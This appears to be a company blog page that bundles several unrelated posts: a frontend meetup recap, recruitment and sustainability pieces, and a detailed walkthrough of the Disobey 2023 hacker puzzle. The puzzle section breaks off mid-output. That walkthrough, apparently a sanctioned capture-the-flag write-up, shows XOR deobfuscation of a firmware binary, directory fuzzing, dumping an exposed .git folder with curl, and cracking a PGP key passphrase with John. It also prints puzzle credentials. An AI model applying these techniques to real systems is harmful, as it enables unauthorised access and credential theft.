Turku ❤️ Frontend x Gofore

Turku ❤️ Frontend is a community for people interested in frontend design and development in Turku that organizes monthly gatherings and other events. This December, the Gofore Turku office had the pleasure of hosting a two-hour meet up with about 40 people attending, including a handful of Goforeans.

I hadn’t participated in one of these meet ups before, and it was cool to make some new acquaintances and hear about their expectations. After a brief intro by Vio from Gofore we grabbed some truly excellent veggie/halloumi burgers (sourced from Ravintola Lone Star), tucked in, and the first presentation of the evening began.

First up was Ossi Hanhinen with a talk titled “Make the most of your UI testing”, which started with a high-level overview of different types of UI testing and what kinds of situations they’re good/bad for, followed by a proposed method for determining what it’s worthwhile to write tests for. I personally found this part very thought-provoking, but there was lively discussion during several parts of the talk showing people had a variety of takeaways.

The presentation was followed with lively mingle, accompanied by some excitement brought on by the office alarm system.

I got to participate in discussions about the utility of different kinds of UI testing in real life scenarios and got to share some experiences of my own as well. As a test-driven developer I found these chats very fruitful.

Next up was Joona Hoikkala with a presentation on “How to (not) to handle security issues – we are all in this together.” This was a tales from the trenches-type talk from a veteran of the security field. A definite key takeaway for me was making sure your organization has an obvious and easily reachable security contact.

All in all, this was a fun and interesting event with well thought out presentations, good food and great company. Extra shoutout to all the people involved in organizing the event! I’m definitely going to attend more of these meet ups in the future.

At Gofore, you too can create the best work days just for yourself. Read more what’s happening at our Turku office and check out our open positions here

Antti Riikonen

Jack-of-all-trades software developer with a passion for test driven development and doing things right the first time. Antti is always looking out for new tools to learn and new problems to solve.

Linkedin profile

Do you know a perfect match? Sharing is caring

Employee turnover in expert teams and the challenges it brings have traditionally been one of the constant headaches of expert organizations. When an expert leaves the organization, a lot of resources are used to find and train a new person. This may, in the worst case, take time away from development work. Especially sharing tacit information with new people is slow and difficult to measure.

One solution to the challenges of turnover is the decentralization of competence. When the team knows the entire project and is aware of its needs, the expertise of different people can be utilized more widely and the departure of one person doesn’t slow down operations. Changes are easier to control when the customer is well known in the team and it reduces the hassle and speeds up finding the most suitable person for work. Orientation of a new person does not take much of the project management’s resources or increase the time spent on management when the team can handle the orientation internally.

At Gofore, we call this model of decentralizing expertise as the Customer Team Model. A customer team means understanding and implementing the expertise of an entire team instead of individual experts. The team’s diverse experience with, for example, different customers and industries naturally bring new ideas and best practices to everyday work. In the Customer Team Model, the expertise of different people can be used efficiently as needed.

One of the most important factors of the Customer Team Model is psychological safety, in which case future changes are known early on, they can be prepared for in time and they can be managed in a controlled manner.

Together with the communications and digital service provider Elisa, we made a reference story sharing all the benefits of the Customer Team Model. Read it here: 

Happy employees and world-class services go hand in hand

Markku Kankaala

Markku builds partnerships with customers. The building blocks are processes, tools and practices that improve customer understanding and employee and customer satisfaction. Each customer touch point should nurture and strengthen the partnership. Markku's passion is getting people to do things together and in good spirits. He consciously strives to increase safety in the work environment. When everyone is allowed to be themselves and speak their mind, things work out. "Every working day that teaches something new is a good working day."

Linkedin profile

Do you know a perfect match? Sharing is caring

Gofore’s recruitment process  

Read the blog post about what happens when you send your application.

Application, interviews (or conversations as we call them), and contracts – a traditional but working model. For us, an application or other first contact is above all the start of a conversation, through which we get to know you, your skills, and your professional life. We want to hear what motivates you!

How do I apply to Gofore?

You can find the most up-to-date information about our open positions on our website and company page on LinkedIn. You can apply for a position by filling out a role-specific application or expressing your interest with an open application.

If you already know Goforeans you can always ask them for more information as well. Goforeans are active recommenders and many of them work closely with our recruiters.

Our recruitment team processes incoming applications and referrals and strives to match talent with the needs of our current customer projects. Your application helps us get to know your skills and experience. With your permission, we store your data in our system.

We will try to inform you as quickly as possible how the recruitment process is progressing in your case.

Whenever we have new project opportunities, we can also return to previously sent applications and contact you later. And even if we have your contact info, you can always contact us again if your work situation changes or you are interested in another role.

What is the recruitment process like?

Our recruitment process is usually three-stage, which includes 2–3 rounds of discussions and a task related to your professional expertise. Along the way, you will meet your potential People Person, a recruiter, and a future, more experienced colleague.

We want to get to know you, and your skills and hear what motivates you and how you want to develop. We also want to give you the best possible understanding of Gofore and the role you are applying for.

The first conversation is a meeting where you meet not only the recruiter, but also your future People Person or colleague, and you get to get to know Gofore’s culture.

In the second conversation, we will evaluate together your skills and substance for the role you are applying for. Depending on the task, we ask you to do a practice and simulation task in advance or on-site. Our goal is to give the applicant not only a learning experience but also as much food as possible for themselves and the future because the meeting is very discussion-oriented despite the task.

We have offices in Europe (Finland, Estonia, Germany, and Spain) and you are always welcome to visit us and our office premises on-site. Interviews take place both virtually and in the office (our offices are all easily accessible, modern, and comfortable!).

After the discussions, we make a decision and a possible job offer.

When the employment contract is signed, we agree on the start, and after that, you can choose the tools (laptop, software, licenses, phone, headphones, etc.) you need yourself.

Open application

Are you interested in Gofore as a work community, but did not find a suitable role? You can send us an open application.

We’d love to hear about your experience through as concrete examples as possible and what motivates you. Hopefully, you have already gotten to know our business enough that you have a vision of your future career path with us.

We read each application carefully and will definitely make a counteroffer if we see potential in you for one of our open positions. 🧡

Why work at Gofore? Read more: Join the crew

Gofore Oyj

Do you know a perfect match? Sharing is caring

The Service Design Network’s Finnish Chapter just celebrated its 10th anniversary. It was an interesting opportunity for me to hear about their history, meet people and witness the warm atmosphere where fellow designers met each other after a long time. I had a small keynote speech and since it felt like I had so much more to say than what 10 minutes allowed, I decided to write a blog afterwards.

Ethics X Sustainability

We at Gofore talk about ethics. In practice, people wonder what ethics has to do with sustainability. Well, in fact a lot. Ethics is the whole basis for sustainable actions, it helps us to make responsible decisions and when in balance with our values and different norms or goals, ethics can lead to sustainability. Although within sustainability, majority of the requirements we face come from the legislation and beyond that from the opinion of our stakeholders, customers, co-operatives, the value chain operators, maybe also investors or shareholders. But today the demand for sustainability begins to rise also within the organisations, even from employees. Therefore, it is important to talk about ethics.

What do we stand for, what kind of operations we support and why? What are the ethical foundations that we build upon? It is not an easy path, but it will result to more developed understanding of what we value as a community and what we drive for. It is about daring to question the unquestionable. If one does not act now, risk for increasing cost of adapting to new changes in the operating environment will materialise in the future. It’s about building resilience!

Design X Sustainability

Similar to sustainability, discussion about ethics is a continuous task. We will never be ready. In sustainability we have huge number of different terms, the acronym “jungle”, many kinds of standards and all the time changing and evolving sustainability frameworks. They are important, but sometimes it feels that we are tied into the “mystery” of sustainability as a theme, and it hinders us from focusing on the development and taking steps to the right direction.

Sustainability as a concept challenges us all. I think this is where design as a capability is needed. As a former sustainability consultant, it is interesting to see a lot of similarity in moving from environmental protection to CSR and ESG and how sustainability capability has evolved as a corporate function as well as how much the range of different kind of sustainability related educational programs has grown. Similar changes are happening also in design. That is why I say: Sustainability is for all. There will still be need for substance expertise, so called “hard core” sustainability experts, but we need more presence for the designers in the early phase of any design where there is a chance to make the biggest impact.

Designers have the capability to leverage the change for sustainability transformation. Raising the difficult questions will help an organisation to build its resilience towards different global and societal sustainability challenges (and crisis). Design can help in steering the discussion and creating understanding – which is in fact sometimes the most challenging thing to achieve in any organisation. From a human perspective.

The “silent stakeholder”

Making the environment (or nature) as one of your stakeholders is the key. The challenge is that this stakeholder is “silent”. The effects of climate change for example are realised slowly. In the future, will there be new things like “ecosystem experience, EX”? Not to increase the fundamental crisis a single millennial designer already has; design will not make the sustainability transformation alone. There is need to internalise sustainability in all capabilities and collaborate. Cross-pollinate your thinking with other professionals. That is how you can be part of creating the best new practices in sustainable design.

Digital X Sustainable

And why in particular digital design has the upper hand? We have the power to solve the most wicked problems by bringing to use wide range of new technology and practices to use in problems the traditional engineering has not been able to solve. Of course, in ICT at the same time we need to make sure we are not going to go “out of the frying pan and into the fire”. We need to start designing sustainable as default. Also, digital is not yet regulated the same as physical. But it doesn’t mean this will remain forever. We can accelerate the sustainability transformation – but let’s do it sustainably. Digital can also bring many other good things to the table in terms of sustainability. We have deep understanding of another fundamental change, the digitalisation, and we must utilise that to avoid common pitfalls.

Sustainability should not be only reporting – let’s discuss more about the opportunities Gofore can bring.

Minna Tontti

Minna works at Gofore as a Service Designer focused on sustainability. Her main goal is to help companies and organizations seize the opportunities of circular economy and create solutions that will help us reach the 1.5°C climate target. Minna has a strong 16 years of experience in the energy sector, traditional engineering, and consulting for various industry sectors. Her inspiration for design originates to developing tools and practices for reducing environmental impacts and considering different stakeholder groups there. In her free time, she’s an active participant in her community and volunteers for child welfare.

Linkedin profileTwitter profile

Do you know a perfect match? Sharing is caring

This is my take on Disobey’s hacker puzzle for year 2023. The puzzle was originally released late 2020 for Disobey 2021, but since both the 2021 and the 2022 events were cancelled due to Covid, the puzzle is still valid for 2023 event.

Puzzle was maybe a bit more difficult compared to earlier years, and if I’m not mistaken, there were only a couple of solves before late autumn 2022.

I have tried to document the whole process with enough detail for anyone to replicate the steps and solve the puzzle by themselves.

The puzzle was solved together with my friend and colleague Harri Hietaranta.

Part 1: The OSINT

The puzzle starts with the following text on disobey.fi website:

A facebook profile of Seppo Aapakka is found easily enough with google searches containing “Kouvosto Telecom”. A Linkedin profile is also found, confirming that Seppo is aligned with Kouvosto Telecom.


A public group called “Saboten” can be found with Facebook’s own search engine.

The group leads to saboten.kouvostotele.com, an Ftp server accepting anonymous login. Proceed to download all files from the server.

└─$ ftp saboten.kouvostotele.com
Connected to saboten.kouvostotele.com.
220 KT Saboten implant firmware delivery service
Name (saboten.kouvostotele.com:kali): anonymous
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.


└─$ find .

The server contains a bunch of files, namely Study1.odt, MRI.zip, and a bunch of zipped firmware files. Study1.odt and MRI.zip are rabbit holes and the firmware binaries are the way forward.

Let’s unzip the binaries and inspect them closer. Only one file seems to be actually runnable.

└─$ find . -type f -exec 7z e {} -aou \;

└─$ find . -type f -name "bin*" -exec file {} \;
./bin_37: ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), dynamically linked, interpreter /libexec/ld-elf.so.1, for FreeBSD 12.0 (1200086), FreeBSD-style, stripped

Inspecting the results and removing the false positives leaves us with /prod/sb-ihv/firmware/NX-H218/0-00-3.1/bin/bin (bin_37 in the example above).

Flag 1: bin (file)

Part 2: The Firmware

Let’s start by doing some basic analysis of the acquired firmware.

└─$ file bin
bin: ELF 64-bit LSB executable, x86-64, version 1 (FreeBSD), dynamically linked, interpreter /libexec/ld-elf.so.1, for FreeBSD 12.0 (1200086), FreeBSD-style, stripped

└─$ strings -n20 bin
about %d second(s) left out of the original %d
usage: sleep seconds
$FreeBSD: releng/12.0/lib/csu/common/ignore_init.c 339351 2018-10-13 23:52:55Z kib $
$FreeBSD: releng/12.0/bin/sleep/sleep.c 335395 2018-06-19 23:43:14Z oshogbo $
Linker: LLD 6.0.1 (FreeBSD 335540-1200005)
$FreeBSD: releng/12.0/lib/csu/amd64/reloc.c 339351 2018-10-13 23:52:55Z kib $
$FreeBSD: releng/12.0/lib/csu/amd64/crti.S 217105 2011-01-07 16:07:51Z kib $
$FreeBSD: releng/12.0/lib/csu/amd64/crt1.c 339351 2018-10-13 23:52:55Z kib $
$FreeBSD: releng/12.0/lib/csu/amd64/crtn.S 217105 2011-01-07 16:07:51Z kib $
$FreeBSD: releng/12.0/lib/csu/common/crtbrand.c 341666 2018-12-07 00:00:12Z gjb $
FreeBSD clang version 6.0.1 (tags/RELEASE_601/final 335540) (based on LLVM 6.0.1)
heap out of sync (BUG)
.33$"5a"3$%$/5( -2aga %%3$22a13.7(%$%KL
.//$"5(./a5(,$%a.45ma3$538a, /4 --8oKLA
/7 -(%a"3$%$/5( -2aga %%3$22a&(7$/`KLAsRc


The file seems to be a FreeBSD executable, and it seems to contain a suspicious string “TgRjKhp…”. Could be a password or an access token. Let’s take note of that. We can also see strings related to PCI device initialization, which is somewhat consistent with the assumption of the file being firmware. There’s also a very long string consisting of only A’s.

One explanation for the massively long “AAA…” would be that the firmware utilizes a simple xor-encryption with key \x41, which has turned a long chunk of empty bytes into A’s. The reason for this could be to simply obfuscate the binary and make the static analysis more difficult.

Let’s verify our theory by xorring the firmware with \x41 and inspecting the file again with strings.


import sys

ifname = sys.argv[1]
ofname = sys.argv[2]

with open(ifname, "rb") as infile:
    with open(ofname, "wb") as oufile:
        in_arr = infile.read()
        out_arr = bytearray(len(in_arr))
        key = b'\x41'

        for j in range(len(in_arr)):
            out_arr[j] = in_arr[j] ^ key[0]

└─$ strings -n20 bin_xorred
Correct credentials & address provided
Connection timed out, retry manually.
Invalid credentials & address given!

Great. A couple of new strings appear, which means that a part of the firmware is really xorred with \x41. Most likely the firmware will xor a part of itself with \x41 on runtime to produce code that’s very difficult to analyze statically.

After actually running it in FreeBSD, the file seems to be just a regular FreeBSD sleep. However, since the strings we found earlier are not part of sleep, we already know that there is more than meets the eye in the firmware. There could be a way to jump to a different part of the file with a correct input. Or maybe the ELF part is pure red herring, and the real target is appended after the runnable part of the file (the ELF format allows to append arbitrary data to file while keeping it perfectly runnable)

Let’s first check if there are any differences compared to the original sleep. Let’s download FreeBSD 12.0, grab /bin/sleep and compare it to our firmware.

└─$ ls -la sleep
-rwxrwxrwx 1 root root 15384 Oct 22 07:57 sleep

└─$ dd count=15384 if=bin of=bin_extracted bs=1
15384+0 records in
15384+0 records out
15384 bytes (15 kB, 15 KiB) copied, 0.0239218 s, 643 kB/s

└─$ diff sleep bin_extracted


Files are identical, which means, that the first 15384 bytes of bin are just the original sleep from FreeBSD. Let’s move on to other parts of the file.

# binwalk -E bin

Interestingly the file appears to consist of roughly three parts:

  • Part with varying entropy
  • Part with very high entropy
  • Part with very low entropy

We already concluded that the first part is FreeBSD sleep. The second part, or high entropy part is most likely either encrypted or randomized (garbage) data. The third part could be the insanely long string of A’s. This is interesting, and means, that whatever is hidden in the file, is most likely hidden either between parts 1 and 2 or between parts 2 and 3.

Let’s inspect the exact offsets of the entropy charts.

# binwalk -EN bin

The second part starts at 15360, which is right at the end of the sleep. There could still be some space for extra code. What is more interesting though, is the offset for the third part: 65536. The total size of our file is 131072 bytes, which is exactly 65536*2. So, if you slice the file in two parts at offset 65535, the size of the remaining part is also exactly 65536 bytes, which, FYI, happens to be the full memory range of a 16-bit processor.

We should still try to get a confirmation for this assumption before rushing forward. Let’s split the file in two at the offset 65536:

└─$ dd count=15384 if=bin of=bin_extracted bs=1
15384+0 records in
15384+0 records out
15384 bytes (15 kB, 15 KiB) copied, 0.0291219 s, 528 kB/s

Then we fire up Ghidra and disassemble the latter part of the file in 16bit mode.

Let’s choose x86 and 16bit Real Mode, since it’s the most likely architecture. If we don’t get a hit, we’ll try other architectures.

Right away we can see decompiled functions and jumps with sensible offsets. This is usually a good sign indicating that we have decompiled the binary with the correct architecture.

Time for dynamic analysis – that is, running the firmware. Problem is that it’s not recognized as runnable. There are no executable headers, master boot records, or anything. Just code. It could also be that our offset is wrong.

└─$ file bin_pt2
bin_pt2: data

What we know, however, is that we have an unknown binary that’s claiming to be firmware, with a bunch of sensible 16bit code. We can try running the binary in qemu with -bios option (used mostly for “bare metal” firmware). We’ll also use “-serial stdio” to redirect any serial output to our terminal.

└─$ qemu-system-i386 -bios bin_pt2 -serial stdio
Invalid credentials & address given!

Great. We are both able to run the file and get sensible output to our terminal.

Now it’s time to start dynamic analysis and attach radare2 to qemu.
# qemu-system-i386 -bios bin_pt2 -serial stdio -s -S

# r2 -a x86 -b 16 -D gdb -d gdb://localhost:1234

We enter visual mode in radare2
# vv

Unfortunately, we do not get sensible disassembly but can still see the register values. We don’t get disassembly, because the base binary address is wrong. To be honest, I’m not that familiar with Radare2, and it would not be my tool of choice if we did not have to run the binary with Qemu. I tried, but could not move the base memory address while remotely debugging (if you know how to do it, please tell me).

Gladly, we do not need to see the disassembly in Radare2 at this point. We can use Radare2 to check register values and Ghidra to see the disassembled code.

We know that we are looking for a function that xors some part of the memory with \x41, and most likely also a function that compares two strings (remember the “Invalid credentials & address given!” string).

After stepping a few instructions forward in Radare we find ourselves in position 0x000, which should also be the beginning of the file in Ghidra. We run into another problem because Ghidra has not disassembled the code either.

Fortunately, we can manually force Ghidra to disassemble code.

After which we get sensible asm.

This procedure will also need to be repeated each time we find ourselves in a place that has not yet been disassembled by Ghidra.


We start stepping through the code one instruction at a time by pressing ‘s’ in Radare2 while in visual mode (“vv”).

At first, the firmware is querying PCI-devices and printing some information about them, but after the third device has been initialized, something interesting is happening. It took a couple of runs to notice, but it’s there.

At 0x00CC the program loads a byte from an address pointed by EBX to AH register, and at 0x00D4 a byte from DS:SI to AL register.

Inspecting registers, we see that EBX points to 0xf031b, ESI to 0xa000, and EDI to 0x8c00.

Further inspecting those addresses, we notice that the address in EBX contains the weird string we saw earlier in strings output, while both addresses pointed by ESI and EDI seem empty.

# x/40x @ebx

We now have ‘T’ in AH, and a null byte in AL.

We go a few steps forward until we land on instruction at 0x500.

At 0x500 AL is xorred with AH (and the result stored in AL), after which both AL and AH have the letter ‘T’.

After a few jumps, we land at 0x00e7, where the instruction is to store a byte from AL to the address pointed by DS:DI. The EDI register is still at 0x8c00, so that’s where our ‘T’ will end up.

After this, we jump back to the beginning of the function where a byte is read from EBX and from DS:SI. Only this time both have been accumulated by 1 (the instructions at 0xc8 and 0xcc effectively increase the value of EBX by one, and DS:SI increases automatically after LODSB operation).

Also, note that the operation will loop 0x2c times (the value in ECX).

In short, we are reading 0x2c bytes from 0xf031b, xorring it with bytes from 0xa000, and storing the result to 0x8c00.

Let’s continue execution.

Soon after we land at 0x466, where the actual xorring with \x41 is happening. A byte is loaded from SI to AL, then xorred with \x41, and the result then stored in DI. This is then looped for CX times. Register values are: SI = 0x495, DI 0x2000, and CX = 0x200. We are reading 0x200 bytes starting from 0x495, xorring them with \x41, and storing the resulting bytes in memory to position 0x2000. After the loop is finished a jump to 0x2000 is conducted. That’s the place where deobfuscated code will be, and most likely also the strings that were seen earlier (“Correct credentials…” and “Incorrect credentials”).

Let’s jump forward to 0x2000 with “dcu 0x2000”.

# dcu 0x2000

At 0x200d the 0x2c is once again moved to CX register. It most likely means that the string that was copied earlier is now going to be loaded into memory again.

Immediately after the value 0x20af is loaded into SI and 0x8c00 into DI.

Then a byte is loaded to AL from SI and then to AH from DI. Then at 0x38e0 bytes at AL and AH are compared, and if they are not equal, a jump to 0x2025 is conducted. Then DI is incremented (since MOV instruction does not automatically increment the register), and the whole procedure looped 0x2c times.

The EDI (0x8c00) still contains the “mystery string”, and ESI (0x20af) contains rubbish.

A sophisticated guess can be taken at this point, that if these two strings match, then the puzzle is completed.

A few steps back, the String1 (“\x54\x67\x52\x6a…”) was xorred with an empty string from 0xa000, before being stored to 0x8c00. It can be assumed that whatever is the correct key, should have been in 0xa000, and when xorred with String1 should result in String2 (“\x32\x13\x22\x50”). Therefore the key can be obtained by xorring String1 with String2.

Flag: ftp://kt:

Part 3: The Üxin

There is a pdf-file and a hidden folder in files.kouvostotele.com.

└─$ ftp 
Connected to files.kouvostotele.com.
220 Welcome to KT files service.
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||10872|)
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Oct 14  2020 .
drwxr-xr-x    3 ftp      ftp          4096 Oct 14  2020 ..
drwxr-xr-x    2 ftp      ftp          4096 Oct 14  2020 .h0ll9w00d
-rw-r--r--    1 ftp      ftp        224531 Oct 09  2020 PO31337-iPhone-forensics.pdf
226 Directory send OK.

The hidden folder “.h0ll9w00d” contains only rabbit holes, but the file “PO31337-iPhone-forensics.pdf” contains a new domain, “forensics.uxin.fi”.

The domain leads to a homepage(?) of digital forensics company Üxin Forensics. There is a blog post stating that the “new secure-files platform is now public”.

The link leads to https://secure-files.uxin.fi, which unfortunately leads to 404. The reason for this is that the A-record for secure-files.uxin.fi is pointing to (which is localhost).

└─$ dig secure-files.uxin.fi         

; <<>> DiG 9.18.7-1-Debian <<>> secure-files.uxin.fi
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37921
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

; EDNS: version: 0, flags:; udp: 4000
;secure-files.uxin.fi.          IN      A

secure-files.uxin.fi.   3565    IN      A

;; Query time: 20 msec
;; WHEN: Fri Nov 18 06:04:32 EST 2022
;; MSG SIZE  rcvd: 65

Let’s add secure-files.uxin.fi to host’s file and try again.

└─$ sudo cat /etc/hosts       localhost       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters  secure-files.uxin.fi

After this we get a basic auth prompt from https://secure-files.uxin.fi and an “under construction” image from http://secure-files.uxin.fi

Quick enumeration shows us that there is a directory “backup” on https server.

└─$ wfuzz -w big.txt --hc=401 https://secure-files.uxin.fi/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: https://secure-files.uxin.fi/FUZZ
Total requests: 20486

ID           Response   Lines    Word       Chars       Payload                    

000003051:   404        7 L      11 W       153 Ch      "backup2"                  
000003050:   404        7 L      11 W       153 Ch      "backup-db"                
000003049:   404        7 L      11 W       153 Ch      "backup-56bf2"             
000003048:   301        7 L      11 W       169 Ch      "backup"                   
000003052:   404        7 L      11 W       153 Ch      "backup_db"                
000003054:   404        7 L      11 W       153 Ch      "backup_site"              
000003057:   404        7 L      11 W       153 Ch      "backups"                  
000003056:   404        7 L      11 W       153 Ch      "backupfiles"              
000003053:   404        7 L      11 W       153 Ch      "backup_migrate"           
000003055:   404        7 L      11 W       153 Ch      "backupdb"                 

Total time: 52.62700
Processed Requests: 20486
Filtered Requests: 20476
Requests/sec.: 389.2678

Enumerating further leads us to “/backup/users/timi/.git/”. It seems that there’s a backup of a git repository, but of course, the directory listing is disabled. Why can’t we have nice things? Fortunately, we can manually reconstruct the repository locally.

We start by getting the HEAD file, which contains the location of the repository head, which in turn contains the corresponding object id. We can then download the object (in git, the first two characters are the directory name, and the rest is the file name).

└─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/HEAD
ref: refs/heads/master
└─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/refs/heads/master
└─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/objects/6c/1ddbb58373e2f045a671cff7203afab4e7f0f5
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: " to save to a file.                       

The downloaded object can then be transferred to an empty local repository, after which we can use git cat-file to read its contents. Alternatively, you can use one of the many tools available online.

└─$ git cat-file -p 6c1ddbb58373e2f045a671cff7203afab4e7f0f5
tree 045ecddbe36501fc6046ca4f44d31a7763ccbe97
parent 84855f529022de833495efcc429130934caf3f35
author Timi Miespera <> 1602500886 +0000
committer Timi Miespera <> 1602500886 +0000

Added iPhone image acquisition photos.

The object in question seems to be a commit. The file also contains references to other objects. We can then proceed to download new objects.

└─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/objects/04/5ecddbe36501fc6046ca4f44d31a7763ccbe97 --output 045ecddbe36501fc6046ca4f44d31a7763ccbe97
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   396  100   396    0     0  10030      0 --:--:-- --:--:-- --:--:-- 10153

We download the “tree” or object “045ecddbe36501fc6046ca4f44d31a7763ccbe97” and get a nice file listing.

└─$ git cat-file -p 045ecddbe36501fc6046ca4f44d31a7763ccbe97
120000 blob dc1dc0cde0f7dff7b7f7c9347fff75936d705cb8    .bash_history
040000 tree 7abed83394f7a4f5eb3e138a2bb1d3c3adc0a6f3    .bcksp
100644 blob 9114d92d35555c1933d0e9006f80fba86af67186    .gitconfig
100644 blob 9b1166696b36118bfa03c464abfa72e6e236d26d    .gitignore
160000 commit 1744277a68101916d51cda2c67951f5981f1f216  .oh-my-zsh
040000 tree f2aa6551ce5dd8fe1e54c40c078eda402650f9e6    .password-store
100644 blob e69de29bb2d1d6434b8b29ae775ad8c2e48c5391    .shell.pre-oh-my-zsh
100644 blob 3a378f3cd132b8991e06161b02994e0db251d48b    .wget-hsts
120000 blob dc1dc0cde0f7dff7b7f7c9347fff75936d705cb8    .zsh_history
100644 blob d743f1a95ff87c9f516775d7d44ee707683114f1    .zshrc
040000 tree a8bb827fd785d5eb7839d841f43b97b27ec2d07f    Documents
040000 tree 92d46b477306804ad940cb291233be70483ba12e    Pictures

With this procedure we can iterate through the whole repository, downloading individual files (blobs), and directory listings (trees). The contents of the blobs can also be read by first downloading the object file and then manually decompressing it with for example python.
For example, the contents of “.gitconfig” can be read as follows:

└─$ curl https://secure-files.uxin.fi/backup/users/timi/.git/objects/91/14d92d35555c1933d0e9006f80fba86af67186 --output .gitconfig
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   118  100   118    0     0   2239      0 --:--:-- --:--:-- --:--:--  2269

└─$ python
Python 3.10.7 (main, Oct  1 2022, 04:31:04) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import zlib
>>> compressed_contents = open('.gitconfig', 'rb').read()
>>> print(zlib.decompress(compressed_contents))
b'blob 106\x00[user]\n\tname = Timi Miespera\n\temail = \n\tsigningkey = B21E70FBC5DC1852CCCD6F036C5E8E6DC4E8FAC3\n'

By iterating through the commits and trees we finally stumble upon a file “public.key”, which is an OpenPGP Secret Key. We also have two encrypted files “whois.gpg” and “timi.gpg”. The key is password protected but can easily be cracked with John.

└─$ file public.key 
public.key: OpenPGP Secret Key Version 4, Created Sun Oct 11 12:04:52 2020, RSA (Encrypt or Sign, 1024 bits); User ID; Signature; OpenPGP Certificate
└─$ gpg2john public.key 

File public.key
Timi Miespera:$gpg$*1*348*1024*bea30a89371d107f2f6b208efb95f709284f127770351253a7911729c50bf60016c9b751adb7a48c39901895aaafda5df503781eaf71c8da0d8448dcf6a5f1734dcc2dd57eea9c24f9b72eec44c5931469151b1f0670f7f959b69bd52e1cd9c0ad2a1240ad85ad246b20e573a0a0ce23882f5fac80a46ed5522e19039ef75e46e1af432a0625b601dc9ef0978be4f79e3e86038a32498929e9b0a7f0abafa2970a91899ac092abdb2788e6b55c814bb3894e71fe3408a0db525a7db4db250e0c8250800d09e7da196b345086cfd5bba719730279c411c924c0ae74630cbf1eada91bbfa2832b9ff13bd7b87ce78eca5fd57379eb3cd674623ef13133929914dbdcbf4e9114c1cc47b4a0b83b813b752d96095b1d040792ee7f503868a3794a1182680529ba204499c024fe93b20623fdf21f1e809ecb62f51a1a76685845e7f0872f162203805ea7a6f1e570a6a8e6df831ad5eb256ca31a3084db25*3*254*2*7*16*832c31aef32810163af238f756dd2a4d*65011712*34990efae81eaac3:::Timi Miespera ::public.key
└─$ gpg2john public.key > hash.john

File public.key
└─$ john -w /usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou-75.txt hash.john
Warning: only loading hashes of type "tripcode", but also saw type "descrypt"
Use the "--format=descrypt" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "pix-md5"
Use the "--format=pix-md5" option to force loading hashes of that type instead
Warning: only loading hashes of type "tripcode", but also saw type "gpg"
Use the "--format=gpg" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 595 password hashes with no different salts (tripcode [DES 128/128 SSE2])
Proceeding with wordlist:/usr/share/john/password.lst
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2022-11-18 08:03) 0g/s 88550p/s 88550c/s 52687KC/s 123456..sss
Session completed. 
└─$ john --show hash.john
Timi Miespera:iloveyou!:::Timi Miespera ::public.key

1 password hash cracked, 0 left                                                                                                            

After which the key can be imported and two encrypted files can be decrypted:

└─$ gpg --output timi --decrypt timi.gpg
gpg: Note: secret key BB61D5A4F4B8DD5D expired at Mon 12 Oct 2020 08:04:52 AM EDT
gpg: encrypted with 1024-bit RSA key, ID BB61D5A4F4B8DD5D, created 2020-10-11
      "Timi Miespera "
└─$ cat timi              
└─$ gpg --output whois --decrypt whois.gpg
gpg: Note: secret key BB61D5A4F4B8DD5D expired at Mon 12 Oct 2020 08:04:52 AM EDT
gpg: encrypted with 1024-bit RSA key, ID BB61D5A4F4B8DD5D, created 2020-10-11
      "Timi Miespera "
└─$ cat whois
Keep up the good work! 🔥

The decrypted contents of timi.gpg can now be used as a basic authentication password for https://secure-files.uxin.fi.

After successful login, we land at https://secure-files.uxin.fi and are greeted with a picture of an old UDP joke.

Quick enumeration reveals another UDP joke, which starts to strongly hint towards using UDP to get forward.

For those who did not know, the HTTP/3 is based on UDP and QUIC. Quick (intended) test reveals that the server is responding to HTTP/3 requests.

The problem here was finding a working HTTP/3 client. The standard is still (or was when the puzzle was created) under construction, and many of the available clients did not work for this server. I used a solution built inside a docker container.

Now requesting the server again with the HTTP/3 client:

└─$ sudo docker run --rm ymuski/curl-http3 curl --http3 -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 383 0 383 0 0 772 0 --:--:-- --:--:-- --:--:-- 770
<head><title>Index of /</title></head>
<h1>Index of /</h1><hr><pre><a href="../">../</a>
<a href="KT_Forensics_iPhone_image.7z">KT_Forensics_iPhone_image.7z</a> 12-Oct-2020 12:31 3167184323
<a href="readme.txt">readme.txt</a> 12-Oct-2020 21:01 150

It seems we have two files. An iPhone image and a readme.txt.

Reading the readme.txt:

└─$ sudo docker run --rm ymuski/curl-http3 curl --http3 -H "Authorization: Basic dGltaTp7L3c4UDs7fWFFRCx7OHMk" https://forensics.uxin.fi/readme.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
